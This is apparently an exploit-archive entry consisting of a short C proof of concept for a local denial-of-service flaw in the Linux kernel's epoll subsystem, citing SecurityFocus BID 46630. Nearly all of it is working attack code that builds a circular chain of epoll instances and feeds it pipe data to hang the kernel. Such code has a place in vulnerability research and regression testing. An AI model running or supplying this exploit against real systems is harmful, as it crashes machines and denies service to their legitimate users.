27 lines
No EOL
698 B
C
27 lines
No EOL
698 B
C
/*
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source: http://www.securityfocus.com/bid/46630/info
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The Linux Kernel epoll Subsystem is prone to multiple local denial-of-service vulnerabilities.
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Successful exploits will allow attackers to cause the kernel to hang, denying service to legitimate users.
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*/
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#include <unistd.h>
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#include <sys/epoll.h>
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int main(void) {
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int e1, e2, p[2];
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struct epoll_event evt = {
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.events = EPOLLIN
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};
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e1 = epoll_create(1);
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e2 = epoll_create(2);
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pipe(p);
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epoll_ctl(e2, EPOLL_CTL_ADD, e1, &evt);
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epoll_ctl(e1, EPOLL_CTL_ADD, p[0], &evt);
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write(p[1], p, sizeof p);
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epoll_ctl(e1, EPOLL_CTL_ADD, e2, &evt);
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return 0;
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} |